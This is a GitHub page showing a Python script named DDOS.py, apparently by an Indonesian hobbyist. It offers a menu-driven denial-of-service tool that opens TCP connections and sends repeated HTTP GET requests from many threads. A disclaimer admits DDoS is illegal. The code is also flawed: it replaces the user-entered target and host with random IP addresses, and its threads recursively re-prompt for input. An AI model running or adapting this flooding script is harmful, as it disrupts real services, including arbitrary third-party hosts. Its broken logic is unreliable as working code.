-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathDDOS.py
137 lines (122 loc) · 2.96 KB
/
DDOS.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/env python
#DDOS By M24-py
#11:52PM Fri, 25 Dec 2K20
#aowkaokwowk
#Warna
import os,threading,socket,time,random
from time import sleep
W = '\033[1;37m'
B = '\033[1;34m'
R = '\033[1;31m'
G = '\033[1;32m'
Y = '\033[1;33m'
#
banner = """
{}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━{}
____ ____ ___ ____
| _ \| _ \ / _ \/ ___| BY M24-PY
| | | | | | | | | \___ \
| |_| | |_| | |_| |___) | v.1.2-0 Beta
|____/|____/ \___/|____/ IG : a.doge_
{}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━{}
"""
banmer = """
1 > SEᖇᗩᑎG 69 > KEᒪᑌᗩᖇ
2 > TEᑎTᗩᑎG
"""
def about():
os.system("clear")
sleep(0.5)
print(60 * '-' + W)
sleep(0.1)
print("M24 PYTHON DDOS SCRIPT")
sleep(0.1)
print(60 * '-' + W)
print("")
sleep(0.1)
print("Cheems-M24")
sleep(0.1)
print(60 * '-' + W)
sleep(1.5)
main_menu()
def cheems():
os.system("clear")
sleep(0.5)
print(50 * '-' + W)
sleep (0.1)
print(G + "Cheems")
print(50 * '-' + W)
sleep(1)
os.system("clear")
#
asu = 0
def attacc():
os.system("clear")
sleep(1.5)
print(60 * '-' + W)
sleep(0.1)
target = input("Masukkan IP Target : ")
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = "."
target = a + dot + b + dot + c + dot + d
sleep(0.1)
host = input("Host : ")
a = str(random.randint(1,254))
b = str(random.randint(1,254))
c = str(random.randint(1,254))
d = str(random.randint(1,254))
dot = "."
host = a + dot + b + dot + c + dot + d
sleep(0.1)
port = int(input("Port : "))
sleep(0.1)
packet = int(input("Jumlah Packet : "))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
s.sendto(("Host: " + host + "\r\n\r\n").encode('ascii'), (target, port))
s.close()
for i in range(packet):
thread = threading.Thread(target = attacc)
thread.start()
global asu
asu += 1
sleep(0.1)
print(asu)
def main_menu():
os.system("clear")
print(Y + banner)
sleep(0.1)
print(G + banmer)
pil = int(input(G + "> " ))
if pil == 1:
attacc()
elif pil == 2:
about ()
elif pil == 69:
cheems()
else:
cheems()
def disc():
sleep(0.5)
print(60 * '-' + W)
sleep(0.1)
print("Perhatian [!] ")
sleep(0.1)
print("")
print("DDOS Itu Perbuatan Illegal ! ")
sleep(0.1)
print("")
print("Saya Tidak Bertanggung jawab jika")
sleep(0.1)
print("")
print("Terjadi Hal² Yang Tidak diinginkan")
sleep(0.1)
print(60 * '-' + W)
xn = str(input("Dengan Menekan enter, Saya paham "))
sleep(1.5)
main_menu()
disc()